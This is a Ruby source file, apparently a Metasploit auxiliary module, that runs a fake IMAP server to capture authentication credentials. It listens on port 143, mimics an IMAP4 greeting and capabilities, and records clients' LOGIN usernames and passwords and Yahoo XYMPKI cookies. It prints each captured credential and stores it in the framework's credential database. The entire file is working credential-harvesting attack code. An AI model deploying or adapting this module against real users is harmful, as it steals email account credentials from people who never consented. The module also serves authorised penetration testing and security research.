137 lines
3.5 KiB
Ruby
137 lines
3.5 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class Metasploit3 < Msf::Auxiliary
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include Msf::Exploit::Remote::TcpServer
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include Msf::Auxiliary::Report
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def initialize
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super(
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'Name' => 'Authentication Capture: IMAP',
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'Description' => %q{
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This module provides a fake IMAP service that
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is designed to capture authentication credentials.
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},
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'Author' => ['ddz', 'hdm'],
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'License' => MSF_LICENSE,
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'Actions' =>
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[
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[ 'Capture' ]
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],
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'PassiveActions' =>
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[
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'Capture'
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],
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'DefaultAction' => 'Capture'
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)
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register_options(
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[
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OptPort.new('SRVPORT', [ true, "The local port to listen on.", 143 ])
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], self.class)
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end
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def setup
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super
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@state = {}
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end
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def run
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print_status("Listening on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}...")
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exploit()
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end
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def on_client_connect(c)
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@state[c] = {:name => "#{c.peerhost}:#{c.peerport}", :ip => c.peerhost, :port => c.peerport, :user => nil, :pass => nil}
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c.put "* OK IMAP4\r\n"
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end
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def on_client_data(c)
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data = c.get_once
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return unless data
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num, cmd, arg = data.strip.split(/\s+/, 3)
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arg ||= ""
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if cmd.upcase == 'CAPABILITY'
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c.put "* CAPABILITY IMAP4 IMAP4rev1 IDLE LOGIN-REFERRALS " +
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"MAILBOX-REFERRALS NAMESPACE LITERAL+ UIDPLUS CHILDREN UNSELECT " +
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"QUOTA XLIST XYZZY LOGIN-REFERRALS AUTH=XYMCOOKIE AUTH=XYMCOOKIEB64 " +
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"AUTH=XYMPKI AUTH=XYMECOOKIE ID\r\n"
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c.put "#{num} OK CAPABILITY completed.\r\n"
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end
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# Handle attempt to authenticate using Yahoo's magic cookie
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# Used by iPhones and Zimbra
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if cmd.upcase == 'AUTHENTICATE' && arg.upcase == 'XYMPKI'
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c.put "+ \r\n"
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cookie1 = c.get_once
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c.put "+ \r\n"
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cookie2 = c.get_once
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register_creds(@state[c][:ip], cookie1, cookie2, 'imap-yahoo')
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return
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end
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if cmd.upcase == 'LOGIN'
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@state[c][:user], @state[c][:pass] = arg.split(/\s+/, 2)
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register_creds(@state[c][:ip], @state[c][:user], @state[c][:pass], 'imap')
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print_status("IMAP LOGIN #{@state[c][:name]} #{@state[c][:user]} / #{@state[c][:pass]}")
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return
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end
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if cmd.upcase == 'LOGOUT'
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c.put("* BYE IMAP4rev1 Server logging out\r\n")
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c.put("#{num} OK LOGOUT completed\r\n")
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return
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end
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@state[c][:pass] = data.strip
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c.put "#{num} NO LOGIN FAILURE\r\n"
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return
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end
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def on_client_close(c)
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@state.delete(c)
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end
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def register_creds(client_ip, user, pass, service_name)
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# Build service information
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service_data = {
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address: client_ip,
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port: datastore['SRVPORT'],
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service_name: service_name,
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protocol: 'tcp',
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workspace_id: myworkspace_id
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}
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# Build credential information
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credential_data = {
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origin_type: :service,
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module_fullname: self.fullname,
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private_data: pass,
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private_type: :password,
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username: user,
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workspace_id: myworkspace_id
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}
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credential_data.merge!(service_data)
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credential_core = create_credential(credential_data)
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# Assemble the options hash for creating the Metasploit::Credential::Login object
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login_data = {
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core: credential_core,
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status: Metasploit::Model::Login::Status::UNTRIED,
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workspace_id: myworkspace_id
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}
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login_data.merge!(service_data)
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create_credential_login(login_data)
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end
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end
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